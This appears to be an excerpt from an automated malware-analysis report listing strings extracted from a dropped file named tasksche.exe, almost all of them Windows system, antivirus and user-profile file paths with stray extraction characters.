Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-MiscRedirection-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: 2\Device\HarddiskVolume2\Windows\System32\msdmo.dllF75p
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sys@
Source: tasksche.exe.4.dr	Binary string: 2\Device\HarddiskVolume2\Windows\System32\umrdp.dllSTRP
Source: tasksche.exe.4.dr	Binary string: 8\Device\HarddiskVolume2\Program Files\AVG\Av\avgcmgr.exeST
Source: tasksche.exe.4.dr	Binary string: -\Device\HarddiskVolume2\Windows\inf\mshdc.PNFp
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep004.catp
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep005.cat
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\1394ohci.sysp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SimpleTCP-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: 3\Device\HarddiskVolume2\Windows\System32\DFDWiz.exeU0IS$
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep004.cat\
Source: tasksche.exe.4.dr	Binary string: /\Device\HarddiskVolume2\Windows\inf\ndiscap.PNF
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IE-Troubleshooters-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\intelide.sys
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\TsUsbGD.sys
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\shredlog.cfgp
Source: tasksche.exe.4.dr	Binary string: F\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\partmgr.sys.mui
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F94FD5F2AAEFDB64257601230509A4E9H
Source: tasksche.exe.4.dr	Binary string: Y\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnrc007.catp
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\System32\httpapi.dllpp
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\System32\ListSvc.dll
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\hidbth.sysH
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\arcsas.sysX
Source: tasksche.exe.4.dr	Binary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netpacer.inf_locDa
Source: tasksche.exe.4.dr	Binary string: U\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0\Icon Files\2c07d841-785f-469b-81db-3ff900796688.png\
Source: tasksche.exe.4.dr	Binary string: X\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft
Source: tasksche.exe.4.dr	Binary string: Z\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb
Source: tasksche.exe.4.dr	Binary string: x\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0\SCPD
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WMI-SNMP-Provider-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
Source: tasksche.exe.4.dr	Binary string: F\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\AppIDp
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\drmkaud.sysCP
Source: tasksche.exe.4.dr	Binary string: #\Device\HarddiskVolume3\
Source: tasksche.exe.4.dr	Binary string: +\Device\HarddiskVolume2\Windows\Performance
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\drmkaud.sys
Source: tasksche.exe.4.dr	Binary string: 3\Device\HarddiskVolume2\Windows\ehome\ehprivjob.exe
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WMI-SNMP-Provider-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catW
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\csllog.cfgLL
Source: tasksche.exe.4.dr	Binary string: 0\Device\HarddiskVolume2\Windows\inf\keyboard.PNF
Source: tasksche.exe.4.dr	Binary string: m\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\Myp
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\wbem\WmiApSrv.exe
Source: tasksche.exe.4.dr	Binary string: o\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\windows-legacy-whql.cat
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnlx004.catp
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\wbem\WmiApSrv.exes\S
Source: tasksche.exe.4.dr	Binary string: `\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\oem4.CATWp
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnhp004.catWp
Source: tasksche.exe.4.dr	Binary string: L\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\desktop.inip
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: O\Device\HarddiskVolume2\Windows\Temp\avg_a04392\avg-secure-search-installer.exep
Source: tasksche.exe.4.dr	Binary string: -\Device\HarddiskVolume2\Windows\inf\input.PNFp
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\sisraid2.sys
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\parvdm.sysH
Source: tasksche.exe.4.dr	Binary string: >\Device\HarddiskVolume2\Program Files\AVG Web TuneUp\TBAPI.dllM
Source: tasksche.exe.4.dr	Binary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\hdaudbus.inf_loc
Source: tasksche.exe.4.dr	Binary string: P\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\battery.inf_loc
Source: tasksche.exe.4.dr	Binary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netsstpt.inf_locBFFRp
Source: tasksche.exe.4.dr	Binary string: +\Device\HarddiskVolume2\Windows\System32\ru1
Source: tasksche.exe.4.dr	Binary string: c\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: {\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\parvdm.sys1
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\ProgramData\Microsoft\RAC\StateData
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Media-Foundation-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catore.p
Source: tasksche.exe.4.dr	Binary string: E\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\UAGP35.SYS.mui
Source: tasksche.exe.4.dr	Binary string: +\Device\HarddiskVolume2\Windows\System32\en_CPU
Source: tasksche.exe.4.dr	Binary string: K\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: H\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\input.inf_locH
Source: tasksche.exe.4.dr	Binary string: O\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
Source: tasksche.exe.4.dr	Binary string: +\Device\HarddiskVolume2\ProgramData\Avg\log
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\rdpwd.sys
Source: tasksche.exe.4.dr	Binary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\ndiscap.inf_loctform.
Source: tasksche.exe.4.dr	Binary string: \\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Remote Access Hoste`
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\ipnat.sys
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0\Icon Files\2c07d841-785f-469b-81db-3ff900796688.png
Source: tasksche.exe.4.dr	Binary string: 9\Device\HarddiskVolume2\Windows\System32\drivers\mpio.sys
Source: tasksche.exe.4.dr	Binary string: ~\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0\Icon Files'*
Source: tasksche.exe.4.dr	Binary string: F\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\cpu.inf_locCC
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\msdsm.sys
Source: tasksche.exe.4.dr	Binary string: c\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex,
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\ndiscap.sysS,
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Guest-Integration-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00d.catp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OpticalMediaDisc-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
Source: tasksche.exe.4.dr	Binary string: ^\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows
Source: tasksche.exe.4.dr	Binary string: v\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: 6\Device\HarddiskVolume2\Windows\System32\WinSATAPI.dllp
Source: tasksche.exe.4.dr	Binary string: r\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\History\desktop.ini:
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Printing-LocalPrinting-Home-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\nslog.cfgS
Source: tasksche.exe.4.dr	Binary string: I\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\lltdio.inf_loc
Source: tasksche.exe.4.dr	Binary string: G\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\acpi.inf_loc
Source: tasksche.exe.4.dr	Binary string: ,\Device\HarddiskVolume2\Windows\Temp\_avast_p
Source: tasksche.exe.4.dr	Binary string: 0\Device\HarddiskVolume2\Windows\inf\netsstpt.PNFwnp
Source: tasksche.exe.4.dr	Binary string: I\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows Defender
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\msdsm.sys9
Source: tasksche.exe.4.dr	Binary string: 7\Device\HarddiskVolume2\Windows\System32\sdiagnhost.exe
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\WUDFRd.sys
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Backup-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CodecPack-Basic-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: S\Device\HarddiskVolume2\Windows\System32\config\systemprofile\Favorites\desktop.ini
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr009.cat1p
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\publog.cfgk
Source: tasksche.exe.4.dr	Binary string: V\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.chkH
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\udhisapi.dll
Source: tasksche.exe.4.dr	Binary string: 2\Device\HarddiskVolume2\Windows\ehome\mcupdate.exe
Source: tasksche.exe.4.dr	Binary string: F\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\HdAudio.sys.muip
Source: tasksche.exe.4.dr	Binary string: H\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\cdrom.inf_loc
Source: tasksche.exe.4.dr	Binary string: 8\Device\HarddiskVolume2\Windows\System32\drivers\smb.sysH
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\schedlog.cfgp
Source: tasksche.exe.4.dr	Binary string: 7\Device\HarddiskVolume2\Windows\System32\MSMPEG2ENC.DLLp
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\adpahci.sysp
Source: tasksche.exe.4.dr	Binary string: 7\Device\HarddiskVolume2\Program Files\AVG\Av\avg_us.lngp
Source: tasksche.exe.4.dr	Binary string: /\Device\HarddiskVolume2\Windows\inf\ndisuio.PNFT`
Source: tasksche.exe.4.dr	Binary string: j\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgidpagent.log.1
Source: tasksche.exe.4.dr	Binary string: q\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Contentp
Source: tasksche.exe.4.dr	Binary string: m\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep003.cat
Source: tasksche.exe.4.dr	Binary string: x\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap\CiPT0000.001H
Source: tasksche.exe.4.dr	Binary string: 7\Device\HarddiskVolume2\Program Files\AVG\Av\avg_ru.lng>"
Source: tasksche.exe.4.dr	Binary string: .\Device\HarddiskVolume2\Windows\inf\wfplwf.PNF
Source: tasksche.exe.4.dr	Binary string: 2\Device\HarddiskVolume2\Windows\Performance\WinSAT
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WinOcr-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\nfrd960.sys
Source: tasksche.exe.4.dr	Binary string: H\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\cdrom.inf_locp
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\bthmodem.sys
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\System32\fdPHost.dll
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Program Files\AVG\UiDll\2623
Source: tasksche.exe.4.dr	Binary string: z\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.236.gthr
Source: tasksche.exe.4.dr	Binary string: x\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap\CiPT0000.002H
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\ws2ifsl.sys
Source: tasksche.exe.4.dr	Binary string: k\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnlx00w.cat
Source: tasksche.exe.4.dr	Binary string: p\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost8P
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\megasas.sysPD
Source: tasksche.exe.4.dr	Binary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\blbdrive.inf_loc
Source: tasksche.exe.4.dr	Binary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\blbdrive.inf_locH
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnrc00c.cat
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\Temporary Internet Files\desktop.ini
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\vsmraid.sysp
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\System32\rasmans.dll
Source: tasksche.exe.4.dr	Binary string: r\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs1
Source: tasksche.exe.4.dr	Binary string: X\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Windows Error ReportingPU
Source: tasksche.exe.4.dr	Binary string: /\Device\HarddiskVolume2\Windows\Temp\avg_a04392p
Source: tasksche.exe.4.dr	Binary string: c\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibilityum
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-NFS-ClientSKU-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep00b.cat
Source: tasksche.exe.4.dr	Binary string: 2\Device\HarddiskVolume2\Windows\System32\msdtc.exe}SDTL
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\mrxdav.sys
Source: tasksche.exe.4.dr	Binary string: a\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\ntexe.catp
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\aelupsvc.dll
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnlx00d.cat
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\00010001.ciT
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-RasCMAK-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_for_KB2534111~31bf3856ad364e35~x86~~6.1.1.0.cat
Source: tasksche.exe.4.dr	Binary string: L\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\dfsvc.exe
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\tssecsrv.sys
Source: tasksche.exe.4.dr	Binary string: A\Device\HarddiskVolume2\Windows\System32\Speech\SpeechUX\sapi.cpl
Source: tasksche.exe.4.dr	Binary string: L\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Roaming\/
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\vms3cap.sysST
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\wacompen.sysp
Source: tasksche.exe.4.dr	Binary string: f\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\History68E:
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\tdtcp.sys
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\msdtckrm.dll
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\amdsata.sys
Source: tasksche.exe.4.dr	Binary string: x\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap\CiPT0000.000H
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Users\Public\Documents\desktop.ini
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\HpSAMD.sys F
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\bxvbdx.sys
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WinOcr-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnts003.cat
Source: tasksche.exe.4.dr	Binary string: r\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\CTLsp
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\auditcse.dll
Source: tasksche.exe.4.dr	Binary string: G\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\scfilter.sys.mui
Source: tasksche.exe.4.dr	Binary string: 3\Device\HarddiskVolume2\Windows\System32\tbssvc.dllSTE
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnlx002.catp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: F\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\usb.inf_locp
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\NV_AGP.SYSH
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Common-Modem-Drivers-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catH
Source: tasksche.exe.4.dr	Binary string: `\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\ntph.cat
Source: tasksche.exe.4.dr	Binary string: I\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\lltdio.inf_locp
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\DriverStore\en-USC
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Temporary Internet Files\desktop.inip
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\System32\advpack.dll
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\ncobjapi.dllp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MobilePC-Client-Sensors-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\history.xml
Source: tasksche.exe.4.dr	Binary string: A\Device\HarddiskVolume2\ProgramData\Avg\AV\Chjw\avgpsi.db-journal
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\msdsm.sysh
Source: tasksche.exe.4.dr	Binary string: 6\Device\HarddiskVolume2\Windows\System32\sqlceqp30.dll
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr00a.cat
Source: tasksche.exe.4.dr	Binary string: /\Device\HarddiskVolume2\Windows\inf\netserv.PNFTMP8p
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-HomeBasicEdition-wrapper~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: /\Device\HarddiskVolume2\Windows\inf\volsnap.PNFR07
Source: tasksche.exe.4.dr	Binary string: `\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows~p
Source: tasksche.exe.4.dr	Binary string: F\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\volmgrx.sys.muip
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Server-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\HdAudio.sysr
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_for_KB976932~31bf3856ad364e35~x86~~6.1.0.17514.catlum
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\WUClient-SelfUpdate-Aux-AuxComp~31bf3856ad364e35~x86~ru-RU~7.6.7600.320.cat
Source: tasksche.exe.4.dr	Binary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netsstpt.inf_loc
Source: tasksche.exe.4.dr	Binary string: E\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\AMDAGP.SYS.mui
Source: tasksche.exe.4.dr	Binary string: X\Device\HarddiskVolume2\Windows\System32\catroot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}t$p
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnrc005.catp
